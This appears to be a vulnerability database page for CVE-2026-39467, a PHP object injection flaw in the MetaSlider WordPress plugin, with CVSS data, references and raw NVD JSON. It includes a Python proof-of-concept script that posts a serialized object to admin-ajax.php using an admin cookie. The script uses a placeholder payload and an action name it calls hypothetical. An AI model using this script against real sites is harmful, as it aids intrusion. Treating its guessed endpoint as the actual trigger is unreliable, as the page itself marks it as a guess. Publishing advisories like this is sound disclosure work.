CVE-2026-39467

Description

Deserialization of Untrusted Data vulnerability in MetaSlider Responsive Slider by MetaSlider allows Object Injection.This issue affects Responsive Slider by MetaSlider: from n/a through 3.106.0.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Responsive Slider by MetaSlider <= 3.106.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import base64

def check_vulnerability(target_url, cookie):
    """
    Proof of Concept for CVE-2026-39467
    This script sends a serialized payload to trigger object injection.
    Note: Requires High Privileged Account (Admin).
    """
    # Common vulnerable endpoint for WP plugins (example)
    endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Generic PHP Object Injection Payload
    # Replace with actual gadget chain for the specific environment
    payload = 'O:8:"stdClass":1:{s:3:"foo";s:3:"bar";}'
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "CVE-2026-39467-Scanner"
    }
    
    data = {
        "action": "metaslider_import_settings", # Hypothetical action triggering unserialize
        "settings": payload
    }
    
    try:
        response = requests.post(endpoint, headers=headers, cookies=cookie, data=data, timeout=10)
        if response.status_code == 200:
            print(f"[+] Request sent successfully to {target_url}")
            print(f"[+] Response: {response.text[:200]}")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {str(e)}")

if __name__ == "__main__":
    # Example usage
    target = "http://example.com"
    auth_cookie = {"wordpress_logged_in_xxx": "admin_session_token"}
    check_vulnerability(target, auth_cookie)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39467
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39467
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39467/
[4] VulDB https://vuldb.com/cve/CVE-2026-39467
[5] https://patchstack.com/database/wordpress/plugin/ml-slider/vulnerability/wordpress-responsive-slider-by-metaslider-plugin-3-106-0-php-object-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39467", "sourceIdentifier": "[email protected]", "published": "2026-04-21T10:16:29.280", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in MetaSlider Responsive Slider by MetaSlider allows Object Injection.This issue affects Responsive Slider by MetaSlider: from n/a through 3.106.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/ml-slider/vulnerability/wordpress-responsive-slider-by-metaslider-plugin-3-106-0-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}